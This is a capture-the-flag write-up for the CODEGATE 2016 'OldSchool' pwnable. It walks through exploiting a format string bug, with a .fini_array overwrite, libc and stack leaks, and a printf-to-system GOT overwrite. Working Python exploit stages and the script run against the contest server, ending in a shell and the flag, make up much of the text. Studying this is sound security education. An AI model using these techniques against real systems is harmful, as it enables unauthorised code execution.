# CODEGATE 2016: OldSchool
## Challenge details| Event | Challenge | Category | Points ||:------|:----------|:---------|-------:|| CODEGATE | OldSchool | Pwnable | 490 |
### Description> HackerSchool FTZ Level 20>> nc 175.119.158.131 17171> [http://codegate.bpsec.co.kr/static/files/1502184fbce57b14b4c7193cea5f2d16](challenge)
## First steps
The challenge consists of a target vulnerable application and two of its linked libraries with the following build info:
```bash$ gcc -vUsing built-in specs.COLLECT_GCC=gccCOLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-linux-gnu/4.9/lto-wrapperTarget: x86_64-linux-gnuConfigured with: ../src/configure -v --with-pkgversion='Debian 4.9.2-10' --with-bugurl=file:///usr/share/doc/gcc-4.9/README.Bugs --enable-languages=c,c++,java,go,d,fortran,objc,obj-c++ --prefix=/usr --program-suffix=-4.9 --enable-shared --enable-linker-build-id --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --with-gxx-include-dir=/usr/include/c++/4.9 --libdir=/usr/lib --enable-nls --with-sysroot=/ --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --enable-gnu-unique-object --disable-vtable-verify --enable-plugin --with-system-zlib --disable-browser-plugin --enable-java-awt=gtk --enable-gtk-cairo --with-java-home=/usr/lib/jvm/java-1.5.0-gcj-4.9-amd64/jre --enable-java-home --with-jvm-root-dir=/usr/lib/jvm/java-1.5.0-gcj-4.9-amd64 --with-jvm-jar-dir=/usr/lib/jvm-exports/java-1.5.0-gcj-4.9-amd64 --with-arch-directory=amd64 --with-ecj-jar=/usr/share/java/eclipse-ecj.jar --enable-objc-gc --enable-multiarch --with-arch-32=i586 --with-abi=m64 --with-multilib-list=m32,m64,mx32 --enable-multilib --with-tune=generic --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnuThread model: posixgcc version 4.9.2 (Debian 4.9.2-10) 
$ gcc -o oldschool oldschool.c -m32 -fstack-protector```
Let's do the usual investigating:
```bash$ file oldschoololdschool; ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, not stripped```
```bash$ ./checksec.sh --file ./oldschoolRELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILENo RELRO        Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   ./oldschool```
Pulling it through IDA:
```cint __cdecl main(int argc, const char **argv, const char **envp){  int result; // eax@1  int v4; // edx@1  char user_input; // [sp+0h] [bp-40Ch]@1  int v6; // [sp+400h] [bp-Ch]@1  int *v7; // [sp+408h] [bp-4h]@1
  v7 = &arg;;  v6 = *MK_FP(__GS__, 20);  memset(&user_input, 0, 0x400u);  printf("YOUR INPUT :");  fgets(&user_input, 1020, _bss_start);  printf("RESPONSE :");  printf(&user_input);  result = 0;  v4 = *MK_FP(__GS__, 20) ^ v6;  return result;}```
As we can see there's trivial format string vulnerability here but the complexity of this challenge doesn't lie in the vulnerability finding so much as its (reliable) exploitation. Given that we have a fms vulnerability we have a so-called 'write-anything-anywhere' primitive which allows us to write any DWORD value to any address.
So we need to find a suitable target address for overwriting which will allow us to hijack EIP control. Since we don't have a reliable infoleak (we can't use our FMS vuln (yet) for this since we cannot incorporate its results into our fms exploit string) and we assume ASLR is enabled we will need a static address that gets dereferenced somewhere and whose contents influence control-flow. A classical target for this (since RELRO is not enabled for this binary) are the entries in the GOT table but if we look at our target's disassembly we can see the following:
```asm.text:080484F9                 add     esp, 10h.text:080484FC                 sub     esp, 0Ch.text:080484FF                 push    offset aResponse ; "RESPONSE :".text:08048504                 call    _printf.text:08048509                 add     esp, 10h.text:0804850C                 sub     esp, 0Ch.text:0804850F                 lea     eax, [ebp+s].text:08048515                 push    eax             ; format.text:08048516                 call    _printf.text:0804851B                 add     esp, 10h.text:0804851E                 mov     eax, 0.text:08048523                 mov     edx, [ebp+var_C].text:08048526                 xor     edx, large gs:14h.text:0804852D                 jz      short loc_8048534.text:0804852F                 call    ___stack_chk_fail.text:08048534 ; ---------------------------------------------------------------------------.text:08048534.text:08048534 loc_8048534:                            ; CODE XREF: main+92?j.text:08048534                 lea     esp, [ebp-8].text:08048537                 pop     ecx.text:08048538                 pop     edi.text:08048539                 pop     ebp.text:0804853A                 lea     esp, [ecx-4].text:0804853D                 retn.text:0804853D main            endp```
The only externally linked function that gets called after our fms is executed is the stack-cookie validation routine `___stack_chk_fail` and this routine only gets executed if we corrupt the saved stack cookie on the stack. Unfortunately we cannot do this as we don't know its address on the stack and as such cannot trigger `___stack_chk_fail` and have no suitable target for our GOT overwrite.
Luckily for us we have a writable `.fini_array` section:
```bash$ readelf -S ./oldschoolThere are 30 section headers, starting at offset 0x102c:
Section Headers:  (...)  [18] .init_array       INIT_ARRAY      080496d8 0006d8 000004 00  WA  0   0  4  [19] .fini_array       FINI_ARRAY      080496dc 0006dc 000004 00  WA  0   0  4```
Before it transfers control to an application the runtime linker processes initialization sections (.preinit_array, .init_array, .init) found in the application and its loaded libraries and when the application terminates the runtime linker processes its termination sections (.fini_array, .fini). These sections are effectively arrays of function pointers which point to the functions that are to be executed by the runtime linker:
```asm.fini_array:080496DC _fini_array     segment dword public 'DATA' use32.fini_array:080496DC                 assume cs:_fini_array.fini_array:080496DC                 ;org 80496DCh.fini_array:080496DC __do_global_dtors_aux_fini_array_entry dd offset __do_global_dtors_aux```
As we can see `.fini_array` holds the address of a destructor function which will be executed when the application terminates. So if we use our fms to overwrite the `.fini_array` entry with an address of our choice we can hijack EIP control upon application termination.
The next step is to determine where to redirect EIP control to. Since the application is compiled with `NX` support we will need to conduct some kind of ROP (or subclass thereof, like ret2libc) attack but in order to do that we will need to bypass ASLR which in this case requires an infoleak. Luckily we have a format string vulnerability in the target application which always functions leak an infoleak due to the ability for stack value disclosure.
Hence if we overwrite `.fini_array` with the start address of the target application's `main` routine upon termination the application will effectively 'restart' again and allow us to exploit the fms vulnerability a second time. This way we can include an infoleak in the first fms exploitation string from which we can derive the addresses required to craft a full ROP chain in the second fms exploitation string.
Now we have to ask ourselves how we will exploit the fms vulnerability the second time to pop a shell. Since we now have bypassed ASLR using our infoleak we will target the GOT entry of `printf` because if we manage to overwrite it with the address of the `system` function and redirect control flow back to the `main` routine a third time we end up with a situation where `printf` is called over our `user_input` which will actually come down to `system(user_input)`. In addition to overwriting the GOT entry of `printf` here we also need to make sure execution 'loops back' to the `main` routine's start address a third time to actually trigger the call to `system`. We do this by overwriting the GOT entry of `___stack_chk_fail` (since overwriting `.fini_array` a second time didn't work here) and writing garbage to the address of the saved stack cookie so that, upon exiting the main routine, the stack cookie protection mechanism will think a stack smashing attack has been carried out and call `___stack_chk_fail` which will effectively redirect control to `main` a third time.
In order to facilitate the above we will need to leak the following pointers:
* A pointer into libc* A pointer into the stack
We can find a pointer into libc quite easily when inspecting the stack at the epilogue of the `main` routine:
```asm  gdb-peda$ x/300xw $esp  0xbffff870: 0xbffff88c  0x000003fc  0xb7fcfc00  0x00000006  (...)  0xbffffc90: 0xbffffcb0  0x00000000  0x00000000  0xb7e7b723  0xbffffca0: 0x08048540  0x00000000  0x00000000  0xb7e7b723  0xbffffcb0: 0x00000001  0xbffffd44  0xbffffd4c  0xb7fed7da  0xbffffcc0: 0x00000001  0xbffffd44  0xbffffce4  0x080497ec  0xbffffcd0: 0x08048230  0xb7fcf000  0x00000000  0x00000000  0xbffffce0: 0x00000000  0xdffeebbc  0xef6a4fac  0x00000000  0xbffffcf0: 0x00000000  0x00000000  0x00000001  0x080483a0  0xbffffd00: 0x00000000  0xb7ff3020  0xb7e7b639  0xb7fff000  0xbffffd10: 0x00000001  0x080483a0  0x00000000  0x080483c1  gdb-peda$ disas 0xb7e7b723,+10  Dump of assembler code from 0xb7e7b723 to 0xb7e7b72d:     0xb7e7b723 <__libc_start_main+243>:  mov    DWORD PTR [esp],eax     0xb7e7b726 <__libc_start_main+246>:  call   0xb7e92c00 <__GI_exit>     0xb7e7b72b <__libc_start_main+251>:  xor    ecx,ecx  End of assembler dump.```
Here we can see the return address of `main()` back into the `__libc_start_main` routine. Note that the above is a stackdump on our local test machine with a different libc version so the offset of the pointer to the libc base address is slightly different but this can be calculated by finding the address of the equivalent return point into `__libc_start_main` in the supplied `libc-2.21.so` library. We can find a pointer into the stack in a similar fashion and determine its offset to the saved cookie to obtain its stack storage address. We can leak both pointers by exploiting the fms vulnerability using `%index$x` where index is the DWORD-offset on the stack of our target.
## Stage 1
Stage 1 of the attack consists of transforming the fms vulnerability into a reliable infoleak which is done as follows:
```python  # offset of our dst_addr in our buffer (in DWORDs)  offset_1 = 7 + 4  # libc pointer leak offset (in DWORDs)  offset_2 = 267  # stack pointer leak offset (in DWORDs)  offset_3 = 264
  # .fini_array address  dst_addr = 0x080496DC  # <main+0> address  lsb_overwrite = 0x849B  # how many bytes to output to set internal written counter to lsb_overwrite  val = (lsb_overwrite - (16 + 4))
  # Construct FMS exploit string  return chr(0x25) + str(offset_2) + '$08x' + chr(0x25) + str(offset_3) + '$08x' + pack('<I', dst_addr) + chr(0x25) + str(val) + 'x' + chr(0x25) + str(offset_1) + '$hn.'```
Which constructs the fms exploit string `%267$08x%264$08x[.fini_array_lsb_address]%valx%11$hn.` which executes a short-write (ie. it writes the number of bytes printed by the fms as a short to the target address). Note that in the above we only have to overwrite the least significant 16 bits of the pointer stored at `.fini_array` since the original pointer and the overwriting pointer are both function pointers to the target application.
## Stage 2
When we have the leaked pointers we can determine the stack cookie address and address of `system()` and execute our stage 2:
```pythondef construct_stage_2(stackcookie_addr, system_addr):  # Offsets of first 3 DWORDs of our buffer on stack and the saved stack cookie (in DWORDs)  offset = [7, 8, 9, 10]
  # .got:__stack_chk_fail address  dst_addr_1 = 0x080497E4  # <main+0> address  main_lsb = 0x849B
  # .got:printf address  dst_addr_2 = 0x080497DC  # __libc_system address  # LSBs and MSBs are written seperately in short writes  system_lsb = (system_addr & 0x0000FFFF)  system_msb = ((system_addr & 0xFFFF0000) >> 16)
  # Addresses to write to  adr = [0, 0, 0, 0]  # Values to print to adjust internal output counter for writing  val = [0, 0, 0, 0]
  # these bytes will have been already output (for addresses) upon first fms output  already_written = (4 * 4)
  # We write in ascending order of size  # main_lsb is smallest  if ((main_lsb < system_lsb) and (main_lsb < system_msb)):    # write main_lsb first    adr[0] = (dst_addr_1)    val[0] = (main_lsb - already_written)
    if (system_lsb < system_msb):      # write system_lsb next      adr[1] = (dst_addr_2)      val[1] = (system_lsb - main_lsb)
      adr[2] = (dst_addr_2 + 2)      val[2] = (system_msb - system_lsb)    else:      # write system_msb next      adr[1] = (dst_addr_2 + 2)      val[1] = (system_msb - main_lsb)
      adr[2] = (dst_addr_2)      val[2] = (system_lsb - system_msb)
  # system_lsb is smallest  elif ((system_lsb < main_lsb) and (system_lsb < system_msb)):    # write system_lsb first    adr[0] = (dst_addr_2)    val[0] = (system_lsb - already_written)
    if (main_lsb < system_msb):      # write main_lsb next      adr[1] = (dst_addr_1)      val[1] = (main_lsb - system_lsb)
      adr[2] = (dst_addr_2 + 2)      val[2] = (system_msb - main_lsb)    else:      # write system_msb next      adr[1] = (dst_addr_2 + 2)      val[1] = (system_msb - system_lsb)
      adr[2] = (dst_addr_1)      val[2] = (main_lsb - system_msb)
  # system_msb is smallest  elif ((system_msb < main_lsb) and (system_msb < system_lsb)):    # write system_msb first    adr[0] = (dst_addr_2 + 2)    val[0] = (system_msb - already_written)
    if (main_lsb < system_lsb):      # write main_lsb next      adr[1] = (dst_addr_1)      val[1] = (main_lsb - system_msb)
      adr[2] = (dst_addr_2)      val[2] = (system_lsb - main_lsb)    else:      # write system_lsb next      adr[1] = (dst_addr_2)      val[1] = (system_lsb - system_msb)
      adr[2] = (dst_addr_1)      val[2] = (main_lsb - system_lsb)
  # Set up clobbering of saved stack cookie  adr[3] = stackcookie_addr
  if ((val[2] & 0xFF) != 0):    if ((val[2] & 0xFF) == 0xFF):      val[3] = 2    else:      val[3] = 1  else:    val[3] = 1  return pack('<I', adr[0]) + pack('<I', adr[1]) + pack('<I', adr[2]) + pack('<I', adr[3]) + chr(0x25) + str(val[0]) + 'x' + chr(0x25) + str(offset[0]) + '$hn'  + chr(0x25) + str(val[1]) + 'x' + chr(0x25) + str(offset[1]) + '$hn'  + chr(0x25) + str(val[2]) + 'x' + chr(0x25) + str(offset[2]) + '$hn' + chr(0x25) + str(offset[3]) + '$hn'```
Here we overwrite the LSBs of `.got:__stack_chk_fail` with the LSBs of `main()`, overwrite `.got:printf` with the address of `system()` and overwrite the saved stack cookie with junk (note that this can be anything as long as its least significant byte is not 0x00 because stack cookie generation makes sure a stack cookie always has 0x00 as its least significant byte to complicate stack buffer overflow exploitation efforts).
There is some minor headache involved here because the nature of the format string `%n` and `%hn` specifiers mean that we always write the number of bytes printed so far to the target address which means that if we want to write a small and a large value we need to write the small value first and then the large value. As such we sort the order of address we write to and the values we write to them (rather inefficiently). Obviously the right way to go about doing this is by simply sorting an array of (address, value) tuples in ascending order on the value field but oh well.
## Putting it all together
Now that we have our exploit-generation code for the two stages we can [put it all together as follows](solution/oldschool_sploit.py):
```pythoncmd = '/bin/sh'libc_offsets = {'2.21': {'libc_start_main_ret': 0x0001873E, 'system': 0x0003B180}}version = '2.21'libc_start_main_ret_offset = libc_offsets[version]['libc_start_main_ret']system_offset = libc_offsets[version]['system']cookie_ptr_offset = (0xF8 + 0xC)
host = '175.119.158.131'port = 17171
h = remote(host, port, timeout = None)
print "[*] Executing stage 1..."
libc_base_addr, stackcookie_addr = stage_1(h)libc_base_addr = (libc_base_addr - libc_start_main_ret_offset)system_addr = (libc_base_addr + system_offset)stackcookie_addr = (stackcookie_addr - cookie_ptr_offset)
print "[+] Got libc base address: [%x]" % libc_base_addrprint "[+] Got system() address: [%x]" % system_addrprint "[+] Got stack cookie address: [%x]" % stackcookie_addr
print "[*] Executing stage 2..."
stage_2(h, stackcookie_addr, system_addr, cmd)
h.close()```
Which, when executed, gives us:
```bash$ ./oldschool_sploit.py [+] Opening connection to 175.119.158.131 on port 17171: Done[*] Executing stage 1...[+] Got libc base address: [b754e000][+] Got system() address: [b7589180][+] Got stack cookie address: [bfd7c41c][*] Switching to interactive mode
     sh: 1: YOUR: not foundsh: 1: RESPONSE: not found$ iduid=1001(oldschool) gid=1001(oldschool) groups=1001(oldschool)$ ls -latotal 77drwxr-xr-x  21 root root  4096 Mar  8 14:37 .drwxr-xr-x  21 root root  4096 Mar  8 14:37 ..drwxr-xr-x   2 root root  4096 Mar  8 15:40 bindrwxr-xr-x   4 root root  1024 Mar  8 14:44 bootdrwxr-xr-x  19 root root  4320 Mar 13 03:27 devdrwxr-xr-x  94 root root  4096 Mar 12 22:22 etcdrwxr-xr-x   4 root root  4096 Mar 12 22:13 homelrwxrwxrwx   1 root root    32 Mar  8 14:37 initrd.img -> boot/initrd.img-4.2.0-16-genericdrwxr-xr-x  20 root root  4096 Mar  8 15:39 libdrwx------   2 root root 16384 Mar  8 14:36 lost+founddrwxr-xr-x   3 root root  4096 Mar  8 14:37 mediadrwxr-xr-x   2 root root  4096 Oct 19 18:14 mntdrwxr-xr-x   2 root root  4096 Oct 22 02:27 optdr-xr-xr-x 160 root root     0 Mar 10 21:29 procdrwx------   2 root root  4096 Mar  8 14:36 rootdrwxr-xr-x  22 root root   780 Mar 13 19:01 rundrwxr-xr-x   2 root root  4096 Mar  8 15:40 sbindrwxr-xr-x   2 root root  4096 Oct 22 02:27 srvdr-xr-xr-x  13 root root     0 Mar 12 22:00 sysdrwxrwxrwt   8 root root  4096 Mar 13 23:17 tmpdrwxr-xr-x  10 root root  4096 Mar  8 14:36 usrdrwxr-xr-x  12 root root  4096 Mar  8 14:43 varlrwxrwxrwx   1 root root    29 Mar  8 14:37 vmlinuz -> boot/vmlinuz-4.2.0-16-generic$ ls -la /home/oldschooltotal 40drwxr-xr-x 3 root      root      4096 Mar 13 00:12 .drwxr-xr-x 4 root      root      4096 Mar 12 22:13 ..-rw-r--r-- 1 root      root        20 Mar 12 23:10 6a39364a7346534d16ca88ae39d20f27_flag.txt-rw-r--r-- 1 oldschool oldschool  220 Mar 12 22:13 .bash_logout-rw-r--r-- 1 oldschool oldschool 3771 Mar 12 22:13 .bashrcdrwx------ 2 oldschool oldschool 4096 Mar 12 22:14 .cache-rwxr-xr-x 1 root      root      5340 Mar 11 00:50 oldschool-rw-r--r-- 1 root      root      1648 Mar 11 00:50 oldschool.c-rw-r--r-- 1 oldschool oldschool  675 Mar 12 22:13 .profile$ cat /home/oldschool/6a39364a7346534d16ca88ae39d20f27_flag.txtR3st_1n_P34c3_FSB:(```